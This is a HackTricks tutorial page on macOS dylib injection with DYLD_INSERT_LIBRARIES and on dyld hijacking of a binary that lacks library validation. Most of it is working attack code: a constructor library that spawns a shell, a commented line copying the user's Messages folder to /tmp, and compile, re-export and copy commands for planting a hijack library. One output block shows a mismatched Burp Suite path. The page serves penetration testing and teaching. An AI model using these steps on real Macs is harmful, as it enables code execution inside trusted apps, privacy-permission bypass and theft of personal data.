hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

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2024-12-12 10:39:29 +00:00
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
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</details>
{% endhint %}
## DYLD\_INSERT\_LIBRARIES Basic example
**Library to inject** to execute a shell:
```c
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
```
Injection:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% endcode %}
{% endtab %}
{% endtabs %}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
```bash
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
{% code title="lib.m" %}
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}
Compile it:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
{% endcode %}
Finally just copy it to the **hijacked location**:
{% code overflow="wrap" %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
And **execute** the binary and check the **library was loaded**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</code></pre>
{% hint style="info" %}
A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
## Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
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<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}